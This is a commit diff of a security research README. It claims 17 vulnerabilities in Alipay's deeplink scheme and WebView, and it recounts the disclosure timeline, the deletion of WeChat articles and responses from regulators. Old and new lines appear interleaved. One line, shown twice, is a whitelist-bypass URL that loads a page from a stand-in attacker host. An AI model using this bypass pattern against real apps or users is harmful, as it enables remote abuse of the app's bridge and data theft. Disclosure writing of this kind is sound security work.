mirror of
https://github.com/sgInnora/alipay-deeplink-research
synced 2026-06-27 05:34:17 +08:00
Update README: censorship notice corrected, all WeChat links marked DELETED
- Fix: March 15 deletion has NO identified complainant (anonymous "related complaint") - Fix: Clearly distinguish March 11 named complaint (rejected) vs March 15 anonymous (deleted) - Add: Censorship analysis article link (innora.ai/zfb/article_censorship.html) - Add: Full regulatory response table (38+ institutions, 16 countries) - Add: Twitter thread link (@met3or) - Mark: All 4 WeChat article links as DELETED with strikethrough - Update: Timeline with March 15 censorship event - Update: Mirrors table showing WeChat as DELETED Co-Authored-By: Claude <noreply@anthropic.com>
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README.md
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README.md
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**17 Verified Vulnerabilities | 3 Devices | 308 Server Log Entries | 6 CVEs Applied**
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**17 Verified Vulnerabilities | 3 Devices | 308 Server Log Entries | 6 CVEs Applied**
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> **⚠️ Official Update Channels**: All updates are published exclusively at:
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---
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> 1. **Website**: [https://innora.ai/zfb/](https://innora.ai/zfb/)
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> 2. **WeChat**: Official Account **AI-security-innora**
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> ## ⚠️ CENSORSHIP UPDATE — 2026-03-15
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>
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>
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> Content from any other source is not authorized by our team.
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> **All 4 WeChat articles have been forcibly deleted.**
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>
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> The deletion notices state only: *"Received related complaint. Determined to violate the Cybersecurity Law."* Basis: *"related laws and regulations."*
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>
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> **No complainant identified. No specific law article cited. No appeal channel provided.**
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>
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> 4 days earlier (March 11), a named complaint by Beijing Geyun Law Firm citing "reputation infringement" was **reviewed and rejected** by WeChat — the platform found it did not constitute infringement. This time, an anonymous complaint succeeded where the named one failed.
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>
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> Meanwhile, the same research is independently verified by Packet Storm (#217089), accepted by MITRE (6 CVEs, Ticket #2005801), and under investigation by 16+ countries' regulators.
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>
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> 
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>
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> **Full censorship analysis (bilingual EN/CN):** [innora.ai/zfb/article_censorship.html](https://innora.ai/zfb/article_censorship.html)
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## WeChat Articles
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---
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| Tag | Title | Link |
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## WeChat Articles — ALL DELETED
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|-----|-------|------|
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| 🆕 NEW | 当白名单绕过沦为全网攻击的钥匙,傲慢的终点是法庭与溯源调查 | [Read](https://mp.weixin.qq.com/s/XB1QSbn0icfCMg-9CANuYw) |
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| Status | Title | Original Link |
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| 🔥 HOT | 巨头的"封口令"被微信驳回,全球顶级黑客弹药库给出最终裁决 | [Read](https://mp.weixin.qq.com/s/A5rLWe46-I_U7p5ts3sdGg) |
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|--------|-------|---------------|
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| ⚖️ LEGAL | 支付宝安全研究遭律师函投诉 — 零次提及"支付宝"如何构成"商誉侵权"? | [Read](https://mp.weixin.qq.com/s/M42BfJPVUhVTeyx1Iw__cw) |
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| ~~DELETED~~ | 当白名单绕过沦为全网攻击的钥匙,傲慢的终点是法庭与溯源调查 | ~~[Dead Link](https://mp.weixin.qq.com/s/XB1QSbn0icfCMg-9CANuYw)~~ |
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| 📱 ORIGINAL | 位置被秒偷!10多亿人每天在用的国民支付应用,17个「正常功能」细思极恐! | [Read](https://mp.weixin.qq.com/s/xEBEYZlap3xuDMURuJd7_Q) |
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| ~~DELETED~~ | 巨头的"封口令"被微信驳回,全球顶级黑客弹药库给出最终裁决 | ~~[Dead Link](https://mp.weixin.qq.com/s/A5rLWe46-I_U7p5ts3sdGg)~~ |
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| ~~DELETED~~ | 支付宝安全研究遭律师函投诉 — 零次提及"支付宝"如何构成"商誉侵权"? | ~~[Dead Link](https://mp.weixin.qq.com/s/M42BfJPVUhVTeyx1Iw__cw)~~ |
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| ~~DELETED~~ | 位置被秒偷!10多亿人每天在用的国民支付应用,17个「正常功能」细思极恐! | ~~[Dead Link](https://mp.weixin.qq.com/s/xEBEYZlap3xuDMURuJd7_Q)~~ |
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**Archived versions**: [innora.ai/zfb/](https://innora.ai/zfb/) | This repository
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## Critical Finding: Whitelist Bypass (CVSS 9.3)
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## Critical Finding: Whitelist Bypass (CVSS 9.3)
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@@ -25,33 +41,56 @@
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https://ds.alipay.com/?scheme=alipays://platformapi/startapp?appId=20000067&url=https://attacker.com/payload.html
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https://ds.alipay.com/?scheme=alipays://platformapi/startapp?appId=20000067&url=https://attacker.com/payload.html
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```
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```
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- **No developer permissions required** — No Alipay Open Platform registration, no Mini Program credentials, no approval
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- **No developer permissions required** — No registration, no credentials, no approval
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- **Transforms all vulnerabilities** — Without this bypass, issues are LAN-only; with it, anyone can attack remotely against 1B+ users
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- **Transforms all vulnerabilities** — Without this bypass, issues are LAN-only; with it, anyone can attack 1B+ users remotely
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- **Vendor acknowledged severity** — Ant Group stated "If you can bypass our whitelist, that would be serious." Bypass achieved in under 2 minutes. Vendor still refuses to patch, calling it "normal functionality"
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- **Vendor acknowledged severity** — During a 23-minute recorded call, Ant Group's security lead stated: "If you can bypass our whitelist, that would be serious." Bypass achieved in under 2 minutes. Vendor refuses to patch, calling it "normal functionality"
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- **6 CVEs applied** via MITRE (Ticket #2005801), including this bypass as highest-severity (CWE-601 + CWE-939)
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- **6 CVEs applied** via MITRE (Ticket #2005801), CWE-601 + CWE-939
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## Full Report
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## Full Report
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- **Website**: [https://innora.ai/zfb/](https://innora.ai/zfb/)
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- **Technical Report**: [innora.ai/zfb/](https://innora.ai/zfb/)
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- **GitHub**: This repository
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- **Censorship Analysis**: [innora.ai/zfb/article_censorship.html](https://innora.ai/zfb/article_censorship.html)
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- **Packet Storm Advisory**: #217089
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## Global Regulatory Response
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## Global Regulatory Response
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Reported to ~160 agencies across 22 countries. Active investigations by:
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Reported to ~160 agencies across 22 countries. **38+ institutions responded**:
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- **Apple Product Security** — Active investigation
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- **Google Play** — Policy violation investigation
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- **MITRE CVE** — 6 CVEs applied (Ticket #2005801)
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- **CSSF Luxembourg** — 4 departments confirmed receipt, ICT Risk Supervision noted contents
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- **Singapore PDPC** — Formal data protection investigation
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- **HKMA Hong Kong** — SVF licence compliance inquiry
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- **CIRCL Luxembourg** — Contacting Alibaba SRC on our behalf
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- **Packet Storm Security** — Advisory published (ID 217089)
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## Summary
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| Institution | Country | Status |
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|-------------|---------|--------|
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| **Apple Product Security** | US | Active investigation |
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| **Google Play** | US | Policy violation review |
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| **MITRE CVE** | US | 6 CVEs accepted (Ticket #2005801) |
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| **Packet Storm Security** | US | Advisory #217089 published |
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| **CSSF Luxembourg** | EU | Whistleblowing case CSSFWB-2026-080 |
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| **HKMA** | Hong Kong | SVF complaint filed |
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| **PDPC** | Singapore | Privacy investigation opened |
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| **FCA** | UK | Whistleblowing confirmed |
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| **OAIC** | Australia | Intake confirmed |
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| **EDPB** | EU | Cross-border complaint confirmed |
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| **ANSSI** | France | Confirmed, forwarded |
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| **CIRCL** | Luxembourg | Case #4782984, contacting Alibaba SRC |
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| **FMA** | New Zealand | Confirmed, evaluating |
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| **OJK** | Indonesia | Responded with follow-up |
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| **Datatilsynet** | Denmark | Confirmed receipt |
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| **NCSC** | UK | Confirmed receipt |
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This repository documents a comprehensive security research project that uncovered **17 security vulnerabilities** in Alipay's DeepLink URI scheme (`alipays://`) and its Nebula WebView container.
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## The Censorship Pattern
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### Key Findings
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```
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Feb 25 - Mar 7 Private disclosure (4 rounds + 23-min recorded call)
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Mar 10 Vendor: "normal functionality" — refuses to patch
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Mar 11 18:16 Public disclosure on innora.ai/zfb/
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Mar 11 22:45 Beijing Geyun Law Firm complaint → REJECTED by WeChat
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Mar 12 Packet Storm #217089 published, 6 CVEs at MITRE
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Mar 12-14 189 emails → 22 countries → 38+ responses
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Mar 15 Anonymous complaint → ALL 4 ARTICLES DELETED
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No complainant. No specific law. No appeal.
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```
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**The same content exists lawfully on Packet Storm, GitHub, and innora.ai — deleted only on Chinese platforms.**
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## Key Findings
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| Severity | Count | Examples |
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| Severity | Count | Examples |
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|----------|-------|---------|
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|----------|-------|---------|
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@@ -75,76 +114,57 @@ Attacker crafts URL (NO developer permissions needed)
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- Samsung Galaxy S25 Ultra (Android 15, New Zealand)
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- Samsung Galaxy S25 Ultra (Android 15, New Zealand)
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- Redmi 12 (Android 14, Malaysia)
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- Redmi 12 (Android 14, Malaysia)
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- iPhone 16 Pro (iOS 18.3, China)
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- iPhone 16 Pro (iOS 18.3, China — tested by vendor's own security lead)
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## Live PoC (Read-Only Demo)
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## Live PoC (Read-Only Demo)
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> **No data is collected or transmitted.** All results display locally only.
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> **No data is collected or transmitted.** All results display locally only.
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- [Trigger Page](https://innora.ai/zfb/poc/trigger.html) — Simulates attacker distribution page
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- [Trigger Page](https://innora.ai/zfb/poc/trigger.html) — Simulates attacker distribution page
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- [JSBridge PoC](https://innora.ai/zfb/poc/verify.html) — Demonstrates API access from external page
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- [JSBridge PoC](https://innora.ai/zfb/poc/verify.html) — Demonstrates API access
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- [Chain WebView](https://innora.ai/zfb/poc/chain.html) — Proves chained pages retain bridge access
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- [Chain WebView](https://innora.ai/zfb/poc/chain.html) — Proves chained pages retain bridge access
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## Responsible Disclosure Timeline
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## Responsible Disclosure Timeline
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| Date | Action |
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| Date | Action |
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|------|--------|
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|------|--------|
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| 2026-02-25 | Initial report sent to Ant Group SRC (TLS/SSL findings) |
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| 2026-02-25 | Initial report sent to Ant Group SRC |
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| 2026-03-07 | Full report V3 sent with 17 vulnerabilities + 308 log entries |
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| 2026-03-07 | Full report V3: 17 vulnerabilities + 308 log entries |
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| 2026-03-10 | Ant Group response: "These are normal features" (正常功能) |
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| 2026-03-07 | 23-min call with vendor security lead (recorded) |
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| 2026-03-11 | Public disclosure after vendor declined to acknowledge |
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| 2026-03-10 | Vendor: "normal functionality" |
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| 2026-03-11 | Ant Group's law firm filed WeChat complaint (dismissed by platform) |
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| 2026-03-11 | Public disclosure |
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| 2026-03-12 | Packet Storm Security published advisory (ID 217089) |
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| 2026-03-11 | Beijing Geyun Law Firm complaint → **rejected by WeChat** |
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| 2026-03-12 | 6 CVE IDs applied via MITRE (Ticket #2005801) |
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| 2026-03-12 | Packet Storm #217089 published |
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| 2026-03-12~14 | ~170 emails sent to ~160 regulatory agencies across 22 countries |
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| 2026-03-12 | 6 CVEs applied via MITRE (Ticket #2005801) |
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| 2026-03-13 | HKMA, PDPC, CSSF, Apple, Google, CIRCL confirmed receipt/investigation |
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| 2026-03-12~14 | 189 emails → 22 countries → 38+ responses |
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| 2026-03-14 | Whitelist bypass (CVSS 9.3) highlighted as master key finding |
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| **2026-03-15** | **ALL 4 articles deleted — anonymous complaint, no appeal** |
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| 2026-03-15 | Censorship analysis published |
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## Repository Structure
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```
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├── index.html # Full bilingual (CN/EN) research blog
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├── rebuttal.html # Legal rebuttal to lawyer's complaint
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├── wechat_article.html # WeChat public account article
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├── poc/
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│ ├── trigger.html # Attack trigger simulation page
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│ ├── verify.html # JSBridge exploitation PoC
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│ └── chain.html # Chain WebView demonstration
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├── review_kimi.md # Kimi K2 cross-validation review
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├── review_sonnet.md # Sonnet review
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├── review_summary.md # Review summary
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└── README.md # This file
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```
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## Evidence
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- **308 server exfiltration log entries** (JSONL format, not included in public repo)
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- **42 real-device screenshots** (not included in public repo)
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- Full evidence available upon request: feng@innora.ai
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## Legal Disclaimer
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This research is conducted for **educational and security improvement purposes only**. All testing was performed on accounts owned by the researcher. No unauthorized access to third-party accounts or data occurred.
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The PoC pages are **read-only demonstrations** with all data exfiltration endpoints disabled. They only display results locally in the browser.
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## Mirrors & Archives
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## Mirrors & Archives
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To prevent single-point deletion, this research is archived at multiple locations:
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| Location | Status |
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|----------|--------|
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| **[innora.ai/zfb/](https://innora.ai/zfb/)** | Active |
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| **GitHub** (this repo) | Active |
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| **Packet Storm #217089** | Permanently archived |
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| ~~WeChat~~ | **DELETED** (2026-03-15) |
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- **Website**: [https://innora.ai/zfb/](https://innora.ai/zfb/)
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**Fork this repository as backup.**
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- **GitHub**: [https://github.com/sgInnora/alipay-deeplink-research](https://github.com/sgInnora/alipay-deeplink-research)
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If any mirror is taken down, please check the other locations.
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## Evidence
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**Readers are encouraged to fork this repository as backup.**
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- **308 server exfiltration log entries** (JSONL format)
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- **42 real-device screenshots**
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- **Deletion notice screenshots**: `wechat_censored_1.jpeg`, `wechat_censored_2.jpeg`
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- Full evidence available: feng@innora.ai
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## Contact
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## Contact
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- **Researcher**: Innora AI Security Research Team
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- **Researcher**: Jiqiang Feng — Innora AI Security Research
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- **Email**: feng@innora.ai
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- **Email**: feng@innora.ai
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- **Website**: [innora.ai](https://innora.ai)
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- **Website**: [innora.ai](https://innora.ai)
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- **Twitter**: [@met3or](https://x.com/met3or/status/2033155342427967558)
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---
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---
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*This research follows responsible disclosure practices. The vendor was given adequate time to respond before public disclosure.*
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*This research follows ISO/IEC 29147:2018 responsible disclosure practices.*
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Reference in New Issue
Block a user